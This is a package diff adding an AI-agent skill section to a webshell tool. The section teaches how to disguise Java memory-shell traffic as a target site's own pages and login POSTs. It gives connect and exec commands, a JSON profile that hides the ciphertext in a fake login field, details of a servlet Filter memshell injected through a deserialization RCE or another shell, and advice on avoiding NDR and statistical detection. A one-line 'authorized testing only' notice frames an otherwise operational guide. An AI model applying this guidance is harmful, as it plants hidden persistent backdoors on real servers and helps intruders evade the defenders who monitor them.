memshell-party-cli 0.3.4 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +833 -131
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +11 -1
- package/dist/index.js +17 -5
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/memshell-party/SKILL.md +173 -1
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: memshell-party
|
|
3
|
-
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
3
|
+
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
4
4
|
---
|
|
5
5
|
|
|
6
6
|
# MemShellParty skill
|
|
@@ -220,6 +220,178 @@ Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `for
|
|
|
220
220
|
`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
|
|
221
221
|
paths are on the machine running the MCP server.
|
|
222
222
|
|
|
223
|
+
## Site-mimicking traffic (mimic protocol)
|
|
224
|
+
|
|
225
|
+
`mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
|
|
226
|
+
requests are browser-style form POSTs; responses are real site pages with the ciphertext
|
|
227
|
+
hidden in a per-shell-unique JS variable (`var Re<md5(pass+key)[0:5]>_config="..."`).
|
|
228
|
+
**You write the site profile — the CLI does not crawl.** That is the point: you can judge
|
|
229
|
+
which page makes believable cover; a regex crawler cannot.
|
|
230
|
+
|
|
231
|
+
### Workflow
|
|
232
|
+
|
|
233
|
+
1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
|
|
234
|
+
page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
|
|
235
|
+
the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
|
|
236
|
+
an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
|
|
237
|
+
2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
|
|
238
|
+
should be the same *shape* as what the site already serves all day. Today mimic speaks
|
|
239
|
+
HTML pages only — so on a content site mimic the high-traffic documents (homepage, list
|
|
240
|
+
pages); on an SPA/API site an HTML skin is the wrong shape (a JSON envelope skin is the
|
|
241
|
+
planned follow-up), and forcing it makes you *more* visible, not less.
|
|
242
|
+
3. **Scaffold + hand-write the profile:**
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
memparty profile init acme --site http://target:8080
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
|
|
249
|
+
own file tools** — the CLI has no "fill" command; the content is your judgment, not a
|
|
250
|
+
command's output. Fill in:
|
|
251
|
+
- `templates`: **one or more** cover pages — the server rotates among them per response,
|
|
252
|
+
so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
|
|
253
|
+
**high-traffic, self-contained** ones (the pages real users fetch all the time), and
|
|
254
|
+
paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
|
|
255
|
+
Each entry keeps its own `title` and `contentType`.
|
|
256
|
+
- With `--dynamic-path`, also probe what the site returns for a **random** path
|
|
257
|
+
(`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
|
|
258
|
+
unknown path instead of a 404. Your templates should match that default response —
|
|
259
|
+
a 200 answer from the shell then mirrors the site's own behavior exactly.
|
|
260
|
+
- `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
|
|
261
|
+
hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
|
|
262
|
+
first-level dirs, same origin only. Used for `--dynamic-path`.
|
|
263
|
+
- `request` (optional but recommended): the request's form shape — **one object or an
|
|
264
|
+
array the client rotates among** (with optional `weight`). `secretField` is the field
|
|
265
|
+
that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
|
|
266
|
+
field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
|
|
267
|
+
a real form the site already receives** — e.g. a console login POST. Value placeholders:
|
|
268
|
+
`{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
|
|
269
|
+
`{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
|
|
270
|
+
`pass=` parameter is a textbook webshell signature.
|
|
271
|
+
4. **Use it:**
|
|
272
|
+
|
|
273
|
+
```bash
|
|
274
|
+
memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
|
|
275
|
+
--profile acme --dynamic-path
|
|
276
|
+
memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
### Worked example
|
|
280
|
+
|
|
281
|
+
Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
|
|
282
|
+
documents dominate; no SPA).
|
|
283
|
+
|
|
284
|
+
1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
|
|
285
|
+
`/news/` is linked from the nav and returns a short self-contained list page; the nav
|
|
286
|
+
links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
|
|
287
|
+
2. `memparty profile init acme --site http://192.0.2.1:8080`.
|
|
288
|
+
3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
|
|
289
|
+
the real file must contain the page's FULL verbatim HTML):
|
|
290
|
+
|
|
291
|
+
```json
|
|
292
|
+
{
|
|
293
|
+
"name": "acme",
|
|
294
|
+
"site": "http://192.0.2.1:8080",
|
|
295
|
+
"createdAt": "2026-07-19T08:00:00.000Z",
|
|
296
|
+
"templates": [
|
|
297
|
+
{
|
|
298
|
+
"title": "新闻动态 - ACME 科技",
|
|
299
|
+
"template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
|
|
300
|
+
"contentType": "text/html; charset=utf-8"
|
|
301
|
+
},
|
|
302
|
+
{
|
|
303
|
+
"title": "产品中心 - ACME 科技",
|
|
304
|
+
"template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
|
|
305
|
+
"contentType": "text/html; charset=utf-8"
|
|
306
|
+
}
|
|
307
|
+
],
|
|
308
|
+
"paths": ["/products/", "/news/", "/about/"],
|
|
309
|
+
"request": {
|
|
310
|
+
"secretField": "verCode",
|
|
311
|
+
"fields": [
|
|
312
|
+
{"name": "csrftoken", "value": "{{hex:32}}"},
|
|
313
|
+
{"name": "j_username", "value": "admin"},
|
|
314
|
+
{"name": "j_password", "value": "{{hex:24}}"},
|
|
315
|
+
{"name": "agreement", "value": "on"}
|
|
316
|
+
]
|
|
317
|
+
}
|
|
318
|
+
}
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
|
|
322
|
+
JS/images, so no missing sub-request waterfall; two templates so consecutive responses
|
|
323
|
+
differ in length and bytes; `paths` are exactly the nav links real users click, not
|
|
324
|
+
guessed words; the `request` block mirrors the site's own login form, so the shell POST
|
|
325
|
+
is indistinguishable from someone signing in. (Templates shortened here for display —
|
|
326
|
+
the real file must contain each page's FULL verbatim HTML. A legacy single
|
|
327
|
+
`template`/`title`/`contentType` triple still loads, it just can't rotate.)
|
|
328
|
+
4. Verify it parses, then connect:
|
|
329
|
+
|
|
330
|
+
```bash
|
|
331
|
+
memparty profile show acme # schema check happens here too
|
|
332
|
+
memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
|
|
333
|
+
--profile acme --dynamic-path
|
|
334
|
+
# OK mimic http://192.0.2.1:8080/
|
|
335
|
+
# round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
### What mimic handles vs. what you decide
|
|
339
|
+
|
|
340
|
+
- Automatic: AES/ECB (key = md5(key)[0:16]), per-shell derived response delimiters,
|
|
341
|
+
form-body encoding, browser-consistent request headers, credential round-trip on `connect`.
|
|
342
|
+
- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
|
|
343
|
+
memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
|
|
344
|
+
fixed-URL shell just omit the flag.
|
|
345
|
+
- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
|
|
346
|
+
commands like a patient human.
|
|
347
|
+
|
|
348
|
+
### Server side (Java filter memshell)
|
|
349
|
+
|
|
350
|
+
The reference server is a servlet Filter, not a JSP — the repo keeps it in
|
|
351
|
+
`scratch/mimic-java/`:
|
|
352
|
+
|
|
353
|
+
- `mimic/MimicFilter.java` — the protocol server: mapped to `/*` at chain position 0, it
|
|
354
|
+
answers any form POST whose carrier (one of the profile's secretFields, baked in by the
|
|
355
|
+
generator — form field, URL parameter or header) decrypts, and passes everything else
|
|
356
|
+
through. Two rules keep it invisible: **detection uses `getParameter()`/`getHeader()` only
|
|
357
|
+
and never reads the body stream** (a second filter shell behind it keeps working), and
|
|
358
|
+
**an undecryptable value means chain-through, not a cover page** — so a legit form that
|
|
359
|
+
happens to use the same field name (e.g. the console's own login POST with `verCode`) is
|
|
360
|
+
never hijacked.
|
|
361
|
+
- `mimic/MimicInject.java` — the registration injector (adapted from MemShellParty's
|
|
362
|
+
TongWeb injector): its `<clinit>` embeds the filter's class bytes (gzip+base64), defines
|
|
363
|
+
them in the webapp classloader, and registers the filter into every running context.
|
|
364
|
+
- `../gen-mimic-filter.mjs` — the generator: reads the profile from
|
|
365
|
+
`~/.memparty/profiles/`, embeds **all** its templates (the filter picks one at random per
|
|
366
|
+
response — that's the rotation), and emits `MimicFilter<V>.class` + `MimicInject<V>.class`
|
|
367
|
+
(`javac --release 8`). Swap templates, re-run, re-inject. **Pass a fresh version suffix
|
|
368
|
+
on every re-injection** (`node gen-mimic-filter.mjs V3`): a running JVM can't re-define a
|
|
369
|
+
class, and the injector skips registration when the filter name already exists.
|
|
370
|
+
|
|
371
|
+
Deployment needs any channel that can `defineClass` + instantiate in the target JVM (a
|
|
372
|
+
deserialization RCE, an agent loader, another shell that evaluates scripts, …). The filter
|
|
373
|
+
is memory-resident and dies on restart — same as any memory shell.
|
|
374
|
+
|
|
375
|
+
Two deployment truths learned on a real TongWeb console:
|
|
376
|
+
|
|
377
|
+
- **Dynamic path is conditional on the target app's own filters.** The console's
|
|
378
|
+
loginfilter answers `/console/*` itself (except `/console/service`), so `--dynamic-path`
|
|
379
|
+
fails there even with the filter on `/*` — probe before relying on it, fall back to the
|
|
380
|
+
fixed working path.
|
|
381
|
+
- The cover page must be one the target actually serves; a beautiful but foreign template
|
|
382
|
+
is a fingerprint.
|
|
383
|
+
|
|
384
|
+
### Reality check before relying on it
|
|
385
|
+
|
|
386
|
+
Run `memparty demo` once and read the printed request URL and response: the traffic should
|
|
387
|
+
be indistinguishable from a normal page view at a glance. Two ways it still stands out:
|
|
388
|
+
|
|
389
|
+
- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
|
|
390
|
+
would fetch, a NDR notices their absence — prefer self-contained pages.
|
|
391
|
+
- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
|
|
392
|
+
baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
|
|
393
|
+
That is why the dominant-traffic rule above outranks everything else.
|
|
394
|
+
|
|
223
395
|
## Step 7 — Save targets, switch by name
|
|
224
396
|
|
|
225
397
|
Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
|